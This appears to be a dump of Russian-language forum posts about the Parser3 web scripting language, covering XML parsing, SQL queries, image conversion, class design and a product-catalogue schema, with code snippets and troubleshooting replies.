"63695","Скажите пожалуйста в чем сакральный сымсл :: (двойного двоеточия)?\
\
если метод можно вызвать с одим ^myClass:someMethod"
"63696","Откройте конфигурационный auto.p найдите там хэш SQL и впишите туда вашу строку подключения. И не придумывайте новых сущностей. Через месяц вы уже не вспомните где же у вас определена connect-string на самом деле.\
\
К тому же строку подключения, лучше хранить вне веба - там же пароль...\
\
А если все таки приперло написать свою переменную $connect_string - ну так и определите ее в коде:\
\
[code]$connect_string[$SQL.connect-string]\
^connect[$connect_string]{....}\
[/code]\
\
тока зачем это нужно - экономия четырех букв?\
\
вот мне например лениво ее было раньше набирать руками - сделал переменную $CS[$SQL.connect-string] - но это от лени. С применением mysql-класса, наподобие Мишиного и в этом смысл отпадает, потому что ее нужно написать всего один раз при создании объекта и забыть."
"63697","тут http://www.parser.ru/docs/lang/obj.htm\
тут http://www.parser.ru/docs/lang/stats.htm\
и тут http://www.parser.ru/docs/lang/defineclass.htm\
\
\
все вроде вполне доступно написано и прочтение занимает максимум полчаса"
"63698","[code] ^if(def $my){Верно}[/code]\
?\
\
мне кажется что такая\
[code]^if($my){Верно}[/code]\
конструкция и проблема с указателями взаимосвязаны\
и как раз из-за их скрытости ^if($my) тоже не работает"
"63699","правда этого и щас можно добиться примерно так:\
\
[code]@CLASS\
myClass\
\
@create[]\
$obj[^table::create{a  b}]\
\
@GET_scalar[]\
$result(^if($self.obj){^self.obj.count[]}{0})\
\
\
...\
\
@main[]\
  $my[^myClass::create[]]\
  ^if($my.scalar){yes}{no}\
  ^if($my.scalar > 5){yes}{no}\
\
[/code]\
но возможность определить поведение обьекта в скалярном контексте без использования каких то дополнительных свойств - было бы конечно красивей :)"
"63703","проблемы с указателями мы не видим: не было в планах реализовывать их в языке явным образом, поэтому их и не реализовали (как и явное выделение памяти под объекты, например). и лично мне, за всё время работы с парсером, ни разу не требовалась такая возможность."
"63704","т.к. у системых объектов нет никаких .scalar"
"63705","Придется все таки помнить где объект системного класса, а где пользовательского и писать так\
\
[code]\
@main[]\
^if($my.scalar > $hash){yes}{no}\
[/code]\
\
это некрасиво и не очень удобно, но возможно и сейчас"
"63706","Мне нужна лишь возможность выяснить являются ли две переменные одним и тем же."
"63707","Мне, например, такое не требовалось ни разу. И вообще есть ощущение, что явное сравнение двух объектов \"по значению\" в программе будет выглядеть красивее и понятнее."
"63708","Установила Денвер с предустановленным парсером. При тестировании парсера ошибки: parser3odbc.dll (не найден); parser3pgsql.dll (не найден); parser3oracle.dll (не найден). Плюс DOCUMENT_ROOT: «кривой». Как можно это исправить?"
"63709","Может я конечно отстал от жизни, но вы точно ни чего не путаете?\
И собственно вы сами пытаетесь установить парсер или пытаетесь воспользоваться уже установленным в комплекте?"
"63710","У вас всё в полном порядке :)\
Если указанного добра вам будет нехватать всегда можно доставить, но есть подозрение что это добро вам не потребуется\
\
по DOCUMENT_ROOT, нписано в доке:\
$request:document-root[/дисковый/путь/к/корню/вашего/веб-пространства]\
те можете выпрямить :)"
"63711","Нашел интересный инструмент для организации онлайн-редактора различных документов: http://codepress.org/\
\
Подсветка синтаксиса есть для следующих языков: asp, autoit, csharp, css, html, java, javascript, perl, php, ruby, sql, vbscript, xsl. Есть auto completion и еще что-то бесполезное.\
\
Пытался Парсер прикрутить - не сумел, т.к. плохо знаю javascript и его regexp'ы. Не подскажете, нет ли готового инструмента для подсветки синтаксиса Парсера в html-форме? Мне это нужно для редактирования модулей движка прямо в движке. Движок на Парсере."
"63712","на правах автора позвольте предоставить небольшой багфикс :)\
\
в parser3sqlite.C в switch(column_type) нужно добавить:\
\
[code]case SQLITE_NULL:\
	length = 0;\
	str = NULL;\
	break;\
[/code]\
\
без него на нулевых значениях (которые, правда, нечасто встречаются в SQLite) парсерный интерпретатор глюкает и возвращает пустую страницу. видимо services.add_row_cell не переваривает нулевую строку или вроде того."
"63714","[quote]лучше хранить вне веба - там же пароль[/quote]\
Хороший администратор даже и проверять не станет этот пароль, если вы пришли из Гонолулу )"
"63716","пожалуйста мне и Мише, посмотрим.\
я брал за основу чужую работу, может по ходу пути (ниже) что-то и растеряли…  [заранее спасибо!]\
\
/*\
	jpegsize: gets the width and height (in pixels) of a jpeg file\
	Andrew Tong, werdna@ugcs.caltech.edu           February 14, 1995\
	modified slightly by alex@ed.ac.uk\
	and further still by rjray@uswest.com\
	optimization and general re-write from tmetro@vl.com\
	from perl by paf@design.ru\
*/"
"63717","SMTP module(domain gmail.com) reports:\
 message text rejected by gmail-smtp-in.l.google.com:\
 552 5.7.0 Illegal Attachment 3si1254567fge\
\
Мише вроде бы отправилась нормально."
"63718","При использовании nConvert [code]^oImg.resize[$sFileSrc;$sFileDest;$sWidth;$sHeight][/code]\
\
у гифа теряется прозрачность? Просто белый фон. Через коммандную строку то же самое."
"63719","А я завис на подсветке \"^\". Regexp никак не хочет его определять. Вроде, экранирую как надо в шаблоне...\
\
И вообще, сделать [b]хорошую[/b] подсветку для парсера -- точно не 10 минут. Для UltraEdit видел два варианта. Один из них очень неплохой. А вот для Kate нашлась совершенно чудесная подсветка. И то я возился с ней минут 30, менял цвета."
"63720","Я ж в общем. Собственно, на скачать, добавить пару переменных у меня ушло пару минут. Остальное время честно можно потратить на раскраску синтаксиса. Вопрос же был про готовый инструмент? Так вот он.\
\
Хороший такой конструктор =)"
"63722","при конвертировании прозрачных гифов нужно ставить атрибут -transparent данный класс это не умеет."
"63723","Хотя, нелогично. Я понимаю, когда надо указать опции для изменения дефолтных настроек, но для сохранения атрибутов исходного файла... Не. Тупо.\
\
А на самом деле =) Мне просто не хватает: [code]^image::create(1;1)[transparent][/code]"
"63724","Делать транспарент на лету, если это дейсительно надо, я бы стал через ImageMagick"
"63725","Если я прально понял, то в этот метод вставлены только необходимые опции. Да?"
"63726","вопрос, может, тупой ,но.\
вот в Engine почти на каждую страницу свой обработчик. если страниц 1000, то и обработчиков почти столько же. это увеличивает время компиляции? или все компилируется только во время инклуда? в общем, у вас, как я понял, в каталоге classes лежат все обработчики. не растет время компиляции с ростом обработчиков?"
"63727","- \"на каждую страницу свой обработчик\" -- с чего вы взяли? так сделать _в принципе можно_, но мы так не делаем, ибо это бред;\
- не увеличивает (обработчиков не так много, кроме того подключаются только используемые на данной странице, а не все);\
- очевидно, что в каталоге classes лежат классы, а не обработчики;\
- а ещё есть кеширование...\
\
P.S. не надо больше задавать \"тупые\" вопросы, я просто не буду на них отвечать. ответы на все эти ваши вопросы -- очевидны, imho.\
P.P.S. используемый вами в качестве темы сообщения текст -- полный отстой, т.к. он ничего не говорит о содержимом сообщения. пожалуйста, перечитайте FAQ."
"63728","После добавления каких-либо опций не забудьте проверить работоспособность других форматов :) Иногда слетает..."
"63729","Как код интерпретатора может быть быстрее, чем код бинарника. Другими словами: чем IM лучше nConvert'a?"
"63730","http://imagemagick.org/script/binary-releases.php#unix\
\
image magick есть как в виде собранных бинарников, так и в виде pm модуля для perl.\
\
и последние -- не недостаток, а преимущество, т.к. он (IM) может быть доступен в таком виде тогда, когда на хостинге недоступны бинарные приложения, а только perl.\
\
однако класс из примеров работает именно с бинарниками и не использует perl-прослойку (я говорю о примере от Den, а не о примере от Eugene Spearance).\
\
более того, IM доступен в исходниках, т.е. его можно собрать (ну... попытаться...) для конкретной платформы, в отличие от nconvert (закрытый код, для некоторых платформ доступны лишь старые версии, именно поэтому я делал image magick реализацию, для требуемой мне платформе просто не было nconvert).\
\
очевидно, что упомянутый вами ключ для прозрачности не требовался ни Den-у (делал реализацию для nconvert) ни мне (для image magick), иначе кто-нить из нас изначально заложил-бы в _exec его. но добавляется он тривиально, по аналогии с другими ключами."
"63733","У меня этот вопрос возник тогда, когда я подумал, а можно ли:\
[code]\
@method[]\
^if($caller.self == $self){\
  Метод вызван в контексте объекта (как внутренний)\
}{\
  Метод вызван как метод объекта (как публичный)\
}\
[/code]"
"63734","Использую для дисциплинирования себя и людей, работающих с моим кодом.\
Требование к классам одно — у них всегда должно быть поле $sUUID.\
\
Дальше всё просто, нужно проверить совпадает ли собственный UUID с вызывающим:\
[code]\
^if($caller.self.sUUID ne $self.sUUID){^throw[xxx]}\
[/code]\
\
Я вынес это в статический класс полезностей и вставил вызов метода с подобным кодом в каждом protected-методе.\
\
К сожалению, эмулировать таким извратом можно только protected-методы, private сделать нельзя: sUUID перекрывается дочерним классом.\
Впрочем, private мне и не требовался."
"63735","Компиляция на любой платформе это веский аргумент. У меня было сомнение по поводу прослойки. Если оба конвертера бинарные — думаю либо разница несущественная, либо огромная, но в узком круге задач. С ресайзом прозрачного гифа думаю проблем не будет у обоих =) Выбрал IM из-за опенсорса, а ключ давно добавил.\
\
Кстати странно, неужели никому не понадобилось ни разу конвертнуть прозрачный гиф. Это ж веб-формат всё же, мало ли. Надо ж думать за дурака.\
\
А про старые версии «конверта» — зря. Последняя — v4.83.\
\
[quote]Windows 9x/Me/NT/2K/Xp/Vista — NConvert v4.81\
MacOS X (Universal binary) — NConvert v4.81\
Linux x86 — NConvert v4.81\
Linux x86 64bits — NConvert v4.79\
FreeBSD 4.x — NConvert v4.79\
FreeBSD 6.x — NConvert v4.79[/quote]\
\
Этого хватит, там есть и под остальные оси, пусть старые но и не часто используемые."
"63736","Только имитация private/public методов? Мне кажется, что подобный код создает лишь путаницу. Я пришел к выводу, что вполне достаточно просто по-разному именовать методы и переменные (например, private начинать с подчеркивания). Таким же образом устроены объекты, например, в Питоне - все условности на уровне имен."
"63737","Eugene, если не ошибаюсь, сравнивал скорости...\
\
мне требовалось под Solaris x86 (а ещё есть например FreeBSD x64, которой например тут уже всю плешь проели :) ). под первое nconvert есть старой версии, под второе его нет вовсе."
"63739","для справки, даже при наличии возможности использовать nconvert я его не пользую, предпочитаю ImageMagick и даже не бинарный, а в связке с Perl. Потому как меня постоянно одолевают бредовые идеи что-то дорисовать на картинках..."
"63740","есть, тем более она использует раскраски от SubEthaEdit http://www.codingmonkeys.de/subethaedit/modes.html\
Описание как делать:\
http://www.codingmonkeys.de/subethaedit/mode.html"
"63741","Сейчас с ума сойду:\
\
[b]/xml/sections.xml:[/b]\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
\
<root>\
	<sections>\
		<record number=\"11\" name=\"Развития\">\
			<employees>\
				<item>\
					<post>Начальник отдела</post>\
					<name>Пляскина Ирина Владимировна</name>\
					<rank>п/п-к мс</rank>\
					<phone>443-00-00</phone>\
					<room>623</room>\
					<comment></comment>					\
				</item>\
				<item>\
					<post>Младший научный сотрудник</post>\
					<name>Костецкий Александр Александрович</name>\
					<rank>к-н</rank>\
					<phone>2-49</phone>\
					<room>619</room>\
					<comment></comment>\
				</item>\
			</employees>\
		</record>\
</root>\
[/code]\
\
\
[b]Попытка прочитать <post> и <name>[/b]\
[code]\
$xdoc[^xdoc::load[/xml/sections.xml]]\
\
$hList[^xdoc.select[/root/sections/record[@number = '11']/employees/item]]\
\
	^Node:foreach[$hList;;xNode;hItemAttr]{\
		$hItemAttr.post - $hItemAttr.name <br />\
	}\
[/code]\
\
На выходе:\
-\
-\
, т.е., я полагаю, по нодам проходит, а значение не выводит. Форум читал внимательно, ничего не нашел. Где грабли?\
Заранее спасибо."
"63743","[code]\
^xNode.selectString[string(post)] - ^xNode.selectString[string(name)]\
[/code]\
\
Если Вас не затруднит, объясните, как можно это реализовать с помощью firstChild.nodeValue. То что речь идет про объектную модель понимаю."
"63744","т.к. надо делать кучу доп. проверок на текстовые ноды и ноды с другим именем. кроме того, может быть несколько дочерних элементов с таким именем.\
\
если не нравится xpath, то можно написать метод, что-то типа такого:\
[code]\
@findChild[xNode;sName]\
$result[]\
$xItem[$xNode.firstChild]\
^while($xItem && $xItem.nextSibling){\
	^if($xItem.nodeType == $xdoc:ELEMENT_NODE && $xItem.nodeName eq $sName){\
		$result[$xItem]\
		$xItem[]\
	}{\
		$xItem[$xItem.nextSibling]\
	}\
}\
[/code]\
\
и использовать его для нахождения первой дочерней ноды с заданным nodeName.\
\
также можно использовать @Node:foreachChild:\
[code]^Node:foreachChild[$xNode;$.name(1);xChildNode;]{\
	$xChildNode.firstChild.nodeValue\
}[<br />][/code]\
который обработает все дочерние ноды с указанными именами.\
\
P.S. приведённый код не проверял"
"63746","Хотя я всё равно юзал и буду IM. nConvert ради интереса скорее потыкал."
"63747","Это было бы очень круто :)"
"63750","[url=\"http://www.tezro.ru/news/deepapple/2007/11/23/1968/\"]Результаты[/url] [url=\"http://deepapple.com/news/28945.html\"]исследования[/url]."
"63752","Посмотрел сайт коды. Впечатлился. Встал в очередь за подсветкой :)\
\
Вообще, я давно пришел к выводу, что в каждом редакторе есть пара-тройка классных фич, которых точно нет ни в одном другом ;))\
Ну типа — в TextMate офигенно удобное «оборачивание» в html-тэги, в VS2005 — возможность отформатировать (indent) страницу одним движением, в «Коде», судя по сайту, удобный поиск и механизм работы с сайтами... Кто бы объединил это все в одном редакторе, эххх..."
"63753","если кто-то не может собрать парсер самостоятельно, но хочет потестировать последнюю версию -- добро пожаловать в этот раздел.\
\
- под бета версиями подразумеваются head версия из cvs;\
- опубликованы ссылки только на последние беты;\
- выкладывать бета версии под другие платформы пока не планируется;\
- списки изменений от предыдущей беты и последнего релиза выкладывать не планируется (смотрите Changelog в cvs). changelog будте доступен при релизе в новостном разделе."
"63757","Господа, если у кого-нибудь серверная часть для FCKeditor, написанная на парсере?\
На форуме нашел коннектор (правда еще не успел разобраться), а решения для файл-менеджера, насколько я понимаю, на форуме еще не выкладывались."
"63758","Он прекрасно работает. На сайтах написанных на парсере."
"63759","Давно как-то не писал на парсере, а вот тут пришлось немного изменить готовую систему и напоролся на грабли:\
есть \
[code]\
$xml[<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<page>\
....\
</page>]\
...\
$document[^xdoc::create[$xml]]\
$response:content-type[$.value[text/xml]]\
$response:body[^document.string[$.omit-xml-declaration[yes]]] \
[/code]\
в результате этого получаю \
[code]\
<<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<page>\
...\
</page/>\
[/code]\
Причем если ^document.string[] не делать а просто выдать $xml то все работает прекрасно.\
В чем косяк может быть? Лишних < и / в коде точно нет.\
\
Parser 3.2.2b из cvs (остальное отказывалось у меня собираться)"
"63761","Сейчас так и сделал.\
Вы правы, действительно, прекрасно работает.\
Однако хотелось бы «придерживаться одной технологии»."
"63763","Иногда жалею, что с Си все-же не сложилось (устал настраивать компилятор Builder-е)... ну да ладно. За всем не угонишься."
"63764","Пользую этот коннектор. Проблем пока нет. главное грамотно обеспечить защиту."
"63765","В августе установил на хостинг parser3_2_1_redhat73_cgi_xml закачивалось в binary права 705, три месяца прекрасно работал, а вчера вылетает ошибка «Premature end of script headers». Написал в тех.поддержку уверили, что ПО не обновлялось. Подскажите какими путями идти. \
\
[b]upd:[/b] Заработало :) админы сервера нахимичили."
"63766","если обращение к cgi работает, то попробуйте какой-нить простой скрипт (например тестовый)\
и может попробуете поставить 755 (хотя если хостер говорит что надо 705, то слушайте его)?"
"63767","вот уж эти админы..."
"63768","Воспользовался классом egr'а по работе с .htpasswd\
\
Всё прекрасно работает.\
\
Однако, если пользователь в своём браузере отметит галочку \"запомнить данные\", FireBug показывает, что при запросе заголовок Authorization заполнен данными авторизации.\
\
Вопрос: как очистить этот загловок? ибо иногда требуется войти под другим пользователем."
"63769","Ищу верстальщика себе на замену.\
Необходимо знать:\
Parser — на среднем уровне,\
XSLT — на высоком уровне,\
HTML/CSS/JS — на высоком уровне,\
Photoshop — на среднем уровне (уметь порезать макет),\
Русский язык — на твёрдую пятёрку.\
\
Претендент должен спокойно относиться к тому, что всё придётся переписывать с нуля по три-четыре раза. При этом каждый раз всё должно делаться на века.\
\
Работа в Москве, рядом с метро, в офисе. Удалённая работа не рассматривается.\
З/п от 1500 $ по результатам собеседования.\
Резюме, ссылки, примеры кода и прочее присылайте на mt@permlug.org\
Подробности по ICQ: 179-508-506.\
\
P.S. а ещё требуется дизайнер, обращаться туда же."
"63777","Выдать с 401 статусом другой реалм фозможно - подробности в спецификации HTTP. Вот только несколько реалмов у одного uri быть вроде не должно."
"63778","Остаётся вариант для входа под другим пользователем вида:\
\
http://login:pass@site.ru\
\
Не кошерно как-то :("
"63779","Вполне возможно, что для фаерфокса какой-нибудь плагинчик имеется."
"63782","Microsoft, борясь с phishing'ом, прикрыла такое поведение IE - браузер теперь игнорирует символ @ в адресах."
"63783","У меня в БД fields лежать данные:\
[code]\
field_id	name	nesting\
1	base	1\
2	cpu	1\
3	memory	1\
4	cpu	2\
5	motherboard	2\
6	video	2\
7	cpu	3\
8	memory	3\
[/code]\
\
[b]Задача[/b]\
Взять уникальные [i]name[/i], у которых значение [i]nesting[/i] самое большое. Т.е. что нужно получить:\
\
[code]\
1	base	1\
5	motherboard	2\
6	video	2\
7	cpu	3\
8	memory	3\
[/code]\
\
Пытался использовать:\
[code]\
SELECT\
	*\
FROM\
	fields\
GROUP BY\
	name\
ORDER BY\
	nesting DESC\
[/code]\
Но получаю только данные относительно id:\
[code]\
5	motherboard	2\
6	video	2\
1	base	1\
2	cpu	1\
3	memory	1\
[/code]\
Понимаю, что ORDER BY здесь точно не поможет...\
\
Может как-то через HAVING?"
"63784","[code]\
select field_id, name, max(nesting) as nesting \
from fields group by name order by nesting desc\
[/code]"
"63785","с поздапросом примерно так:\
[code]\
SELECT\
	z.*\
FROM\
	field z\
	INNER JOIN (	\
		SELECT\
			z.name,\
			MAX(nesting) AS nesting\
		FROM\
			field z\
		GROUP BY\
			name\
	) a ON (z.name = a.name AND z.nesting = a.nesting)\
[/code]\
\
но по моему БД спроектирована неверно: несколько записей с одинаковыми name + группировки по этому name -- очень не нравятся."
"63786","P.S. на моём 5.0.24 id и name не соотв. max()\
P.P.S. есть ощущение что в strict моде с таким запросом пошлют. oracle 100% пошлёт."
"63787","Опробовано еще до добавления сообщения в форум."
"63788","Эта структура для товаров в интернет-магазине.\
Имеется 3 таблицы:\
1) [b]products[/b] - здесь хранятся основные данные товара\
product_id\
product_type_id\
thread_id\
parent_id\
price\
currency_id [i]валюта в которой указана цена[/i]\
\
2) [b]products_texts[/b] - здесь хранится название, либо описание товара\
locale_id\
product_id\
name\
is_published\
\
3) [b]products_fields[/b] - дополнительные поля для товара\
product_field_id\
product_id\
parent_id\
name\
value\
\
\
Поля и товары могут выстраиваться в древовидную структуру. Благодаря этому незаполненные поля ребенка могут браться у родителя и т.д. выше.\
\
Все это нужно чтобы мог выстраиваться подобный XML:\
[code]\
<product id=\"5\">\
	<price>100.00</price>\
	<currency_id>4</currency_id> # к примеру здесь это доллары\
	<name locale_id=\"2\">Супер мега Паяльник</name>\
# далее пошли доп. поля\
	<weight>400</weight>\
	<power>250</power>\
	....\
</product>\
[/code]"
"63789","не могу уловить связи между описанной структурой БД (которая в общем нормальная, imho) и SQL запросом из первого сообщения топика."
"63790","У меня есть товар - лазерные указки.\
\
Во всех параметрах они идентичны, цвет, размер, внешний вид, упаковка, но разница только в том, что у них разные лазерные диоды (разной мощности).\
\
Поэтому я сначала созданию товар шаблон:\
[b]products[/b]\
[code]\
product_id: 1\
product_type_id: 1\
thread_id: 1\
parent_id: 0\
price: NULL\
currency_id: 0\
[/code]\
\
Затем добавляю к нему параметры по умолчанию:\
[b]products_fields[/b]\
[code]\
...field_id | product_id | parent_id |     name     |  value\
    1             1            0       tech_params      NULL\
    2             1            1       work_voltage    *******\
    3             1            1       trig_voltage    *******\
# и т.д.\
    7             1            0         complect       NULL\
    8             1            7         battery        2AA\
    9             1            7        batt_time     2 hours\
[/code]\
\
Затем я создаю сами товары:\
[code]\
product_id: 2\
product_type_id: 1\
thread_id: 1\
parent_id: 1\
price: 20.00\
currency_id: 1\
---\
product_id: 3\
product_type_id: 1\
thread_id: 1\
parent_id: 1\
price: 45.00\
currency_id: 1\
...\
[/code]\
и добавляю к нему недостающие параметры, а какие-то наследованные параметры даже заменяю:\
[code]\
...field_id | product_id | parent_id |   name    |  value\
   10             2            1         power       10\
   11             2            7       batt_time   1 hours\
   12             3            1         power       30\
[/code]\
\
Т.е. в результате для товара с ID 2 я имею XML ввида:\
[code]\
<product id=2\">\
	<price currency_id=\"1\">20.00</price>\
	<name locale_id=\"1\">Лазерная указка мощностью 10mW</name>\
	<tech_params>\
		<work_voltage>....</...>\
		<trig_voltage>...</...>\
		<power>10</power>\
	</tech_params>\
    	<complect>\
		<battery>2AA</battery>\
		<batt_time>1 hours</batt_time>\
	</complect>\
</product>\
[/code]"
"63791","в какой момент вам нужно найти id самой глубоко залегающей указки?\
\
вам не нужна эта одна единственная запись, т.к. полную информацию об этом товаре вы всё равно не сможете из неё получить.\
\
вам надо: по уже известному id получить информацию о определённом продукте и всех его предках. группировка тут нафиг не нужна. запрос по thread_id и nesting тут тоже нафиг не нужен (очень много будет доставаться)."
"63793","это уже немного другой вопрос: как достать всех родителей.\
\
хотя я подумал, даже если изменить структуру БД чтобы не было группировок по имени параметра (я тупил и думал что вы пытаетесь группировать продукты, а не свойства) ваша задача остаётся аналогичной, при этом запрос делает достаточно логичное действие: достаёт все параметры, которые привязаны непосредственно или пришли от родительских продуктов.\
\
наверное остаётся только вариант с подзапросом из моего ответа, который в принципе можно развернуть в обычный join, правда его понятность при этом несколько пострадает.\
\
но я бы в любом случае пытался бы избежать подобного запроса, т.к. с очень большой вероятностью будут страницы, на которых нужно будет показать параметры N проодуктов. это уже одним подобным запросом сделать будет нельзя (или очень сложно). т.е. я бы писал следующую логику:\
\
1. по списку id продуктов достаются все их родители\
2. для всех полученных родителей достаются все параметры\
3. параметры каждого из этих продуктов можно посчитать и вывести на клиенте без доп. запросов."
"63794","во внутреннем запросе вынимаем идентификаторы объекта и его предков и передаем этот список например через IN во внешний запрос, который по этому списку достает нужные данные об объекте и его предках."
"63795","Менять структуру БД необязательно, может только лишь все-равно вылетят поля thread_id и nesting.\
\
С помощью ID продукта будет доставаться сами его данные и данные его предков (здесь в один запрос не обойтись).\
\
Если имеется список продуктов, то достать к ним параметры не составляет особого труда.\
\
> параметры каждого из этих продуктов можно посчитать и вывести на клиенте без доп. запросов.\
\
Клиент - это в данном случае Парсер?"
"63796","[quote]Менять структуру БД необязательно, может только лишь все-равно вылетят поля thread_id и nesting.\
[/quote]\
\
лично мне все равно не нравятся группировки по имени.\
дело в том, что 'cpu' у родителя и 'cpu' у конкретного продукта могут быть совершенно разными сущностями.\
\
я бы делал привязку всех параметров к продукту, но при этом значение параметра можно было-бы привязывать к любому дочернему продукту. \
\
однако текущие вариант несколько проще.\
\
[quote]\
С помощью ID продукта будет доставаться сами его данные и данные его предков (здесь в один запрос не обойтись).[/quote]\
\
да.\
тут лучше сделать несколько запросов (или ввести избыточное поле что-то типа full_path/parents и т.д. чтобы одним запросом доставать всех предков).\
\
в случае parents есть вариант в этом поле у продукта хранить всех его предков через символ-разделитель, например: у продукта с id = 22 тут будет: 1.2.3.22 или 1/2/3/22. достали объект, знаем id всех родителей, можем достать их разом. но как и с любым полем с избыточностью надо будет тратить силы на поддержание целостности этой информации.\
\
thread_id и nesting тут не помогут, т.к. скорее всего ветки будут большие, и если надо будет доставать 4 уровень, то реально обрабатываться будет много продуктов, и толку от индекса по thread_id + nesting будет мало.\
\
\
[quote]\
Если имеется список продуктов, то достать к ним параметры не составляет особого труда.\
[/quote]\
\
ну... я думаю вам, как проектировщику такой структуры БД виднее, я не обдумывал подробности, но это напоминает мне мои раздачу прав на объекты, а со сложностью запросов там у меня проблем нет :)\
\
\
[quot]\
Клиент - это в данном случае Парсер?[/quot]\
\
понятия не имею, на чем вы это пишите (в заголовке треда было 'OFF:').\
если на парсере -- значит парсер."
"63797","Из таблицы products улетело поле thread_id. Вместо него добавилось parents_ids, а nesting же осталось, т.к. оно еще используется когда отбираются параметры (для определения тех, которые находятся на самом высоком уровне).\
\
[code]\
@getProducts[hshParams][hParams]\
$hParams[^hash::create[$hshParams]]\
$result[^table::sql{\
	SELECT\
		product_id,\
		product_type_id,\
		parent_id,\
		nesting,\
		parents_ids,\
		price,\
		currency_id\
	FROM\
		products\
	^if(def ^hParams.product_id.int(0)){\
		WHERE\
			products.product_id = ^hParams.product_id.int(0)\
	}\
}]\
#end @getProducts[]\
\
\
\
@getProductsFields[hshParams]\
$hParams[^hash::create[$hshParams]]\
$result[^table::sql{\
	SELECT\
		product_field_id,\
		product_id,\
		parent_id,\
		name,\
		value\
		^if(def $hParams.SQL_SELECT){\
			, $hParams.SQL_SELECT\
		}\
	FROM\
		products_fields\
		^if(def $hParams.SQL_FROM){\
			, $hParams.SQL_FROM\
		}\
	^if(def $hParams.SQL_WHERE){\
		WHERE\
			$hParams.SQL_WHERE\
	}\
}]\
#end @getProductsFields[]\
\
\
\
@parseProduct_by_ID[intProductID][tProduct;tProductsFields]\
^if(^intProductID.int(0)){\
	$tProduct[^self.getProducts[\
		$.product_id(^intProductID.int(0))\
	]]\
\
	^if($tProduct){\
\
		$tProductsFields[^self.getProductsFields[\
			$.SQL_SELECT[nesting]\
			$.SQL_FROM[products]\
			$.SQL_WHERE[\
				products.product_id = products_fields.product_id AND\
				products.product_id IN ($tProduct.parents_ids)\
			]\
		]]\
\
		^self.printProduct[$tProduct][\
			$.tag_body[\
				^self.parseProductsFields[^tProductsFields.hash[parent_id];0]\
			]\
		]\
	}\
}{\
	^throw[...]\
}\
#end @parseProduct_by_ID[]\
\
\
\
@parseProductsFields[hshFields;intParentID][hFields;tFieldsNames;tFieldsByName;iMaxNesting;iOffset]\
^if($hshFields.[$intParentID]){\
#	создаем hash с параметрами, отобранными по названию\
	$hFields[:hshFields.[$intParentID].hash[name][$.distinct[tables]]]\
\
	$tFieldsNames[^hFields._keys[name]]\
\
#	делаем обход параметров для отбора более подходящих (на основе уровня наследования - nesting)\
	^tFieldsNames.menu{\
\
		$tFieldsByName[$hFields.[$tFieldsNames.name]]\
		$iMaxNesting(0)\
		$iOffset(0)\
\
		^tFieldsByName.menu{\
			^if($tFieldsByName.nesting > $iMaxNesting){\
				$iMaxNesting($tFieldsByName.nesting)\
				$iOffset(^tFieldsByName.offset[])\
			}\
		}\
\
		^if($iMaxNesting){\
			^tFieldsByName.offset[set]($iOffset)\
\
			^self.printProductField[$tFieldsByName.fields;^if($hshFields.[$tFieldsByName.product_id]){^parseProductsFields[$hshFields;$tFieldsByName.product_id]}]\
		}\
	}\
}\
#end @parseProductsFields[]\
\
\
\
@printProduct[altData;hshParams][hParams]\
$hParams[^hash::create[$hshParams]]\
$result[<product id=\"^altData.product_id.int(0)\">\
	<price currency_id=\"^altData.currency_id.int(0)\">$altData.price</price>\
	$hParams.tag_body\
</product>]\
#end @printProduct[]\
\
\
\
@printProductField[altData;hshParams][hParams]\
$hParams[^hash::create[$hshParams]]\
$result[<$altData.name>$altData.value^if(def $hParams.tag_body){$hParams.tag_body}</$altData.name>]\
#end @printProductField[]\
[/code]\
\
P.S.\
[quot]понятия не имею, на чем [b]вы[/b] это пишите (в заголовке треда было 'OFF:')[/quot]\
Можно просто \"ты\". Кстати, было уже про это..."
"63798","есть вот такой xml:\
[code]\
<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<package>\
	<name>\
		sdl\
	</name>\
	<version>\
		1.2.11\
	</version>\
	<arch>\
		i486\
	</arch>\
	<description>\
		Библиотека универсальных API, которые обеспечивает низкоуровневый\
 доступ к аудио, клавиатуре, &quot;мыше&quot;, джойстику, графическим ускорителям\
 через OpenGL. SDL связан с библиотеками alsa-lib, arts, audiofile,\
 esound и X11.\
	</description>\
	<short_description>\
		sdl\
	</short_description>\
	<tags>\
		<tag>\
			libs\
		</tag>\
	</tags>\
</package>\
[/code]\
Кусок кода:\
[code]\
$obj[^doc.selectString[string(//description)]]\
^tI.append{Описание	^obj.trim[]}\
[/code]\
\
получаю ошибку\
[code]\
create\
\
Entity: line 95: parser error : attributes construct error\
 доступ к аудио, клавиатуре, \"мыше\", джойстик&#65533;\
                                                    ^\
Entity: line 95: parser error : Couldn't find end of Start Tag item line 94\
 доступ к аудио, клавиатуре, \"мыше\", джойстик&#65533;\
                                                    ^\
\
/var/www/raisinghell/index.html(163:18)\
[/code]\
\
xmllint при этом нормально все обрабатывает. Взял [url=\"http://xmlsoft.org/examples/xpath1.c\"]вот этот примерчик с xmlsoft.org[/url]\
Немножко поравил что бы выводил еще и содержимое найденной ноды\
[code]\
 ./xpath1 C994EAEB-EE85-433F-AC25-517A2FB97330.xml \"//description\"\
Result (1 nodes):\
= element node \"description\"\
= element node content:\
\"\
                Библиотека универсальных API, которые обеспечивает низкоуровневый\
 доступ к аудио, клавиатуре, \"мыше\", джойстику, графическим ускорителям\
 через OpenGL. SDL связан с библиотеками alsa-lib, arts, audiofile,\
 esound и X11.\
        \"\
[/code]\
Т.е. тут все нормально. \
Баг в парсера?\
\
parser 3.2.2b из cvs head, gcc 4.1.3"
"63799","[code]\
$xdoc[^xdoc::create{<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<package>\
	<name>\
		sdl\
	</name>\
	<version>\
		1.2.11\
	</version>\
	<arch>\
		i486\
	</arch>\
	<description>\
		Библиотека универсальных API, которые обеспечивает низкоуровневый\
 доступ к аудио, клавиатуре, &quot^;мыше&quot^;, джойстику, графическим ускорителям\
 через OpenGL. SDL связан с библиотеками alsa-lib, arts, audiofile,\
 esound и X11.\
	</description>\
	<short_description>\
		sdl\
	</short_description>\
	<tags>\
		<tag>\
			libs\
		</tag>\
	</tags>\
</package>}]\
\
\
$obj[^xdoc.selectString[string(//description/text())]]\
=^obj.trim[]=\
[/code]"
"63800","немного мелочей по коду.\
\
[code]\
^if(def ^hParams.product_id.int(0)){\
		WHERE\
			products.product_id = ^hParams.product_id.int(0)\
	}\
[/code]\
\
условие всегда будет def.\
\
\
[code]\
@getProductsFields[hshParams]\
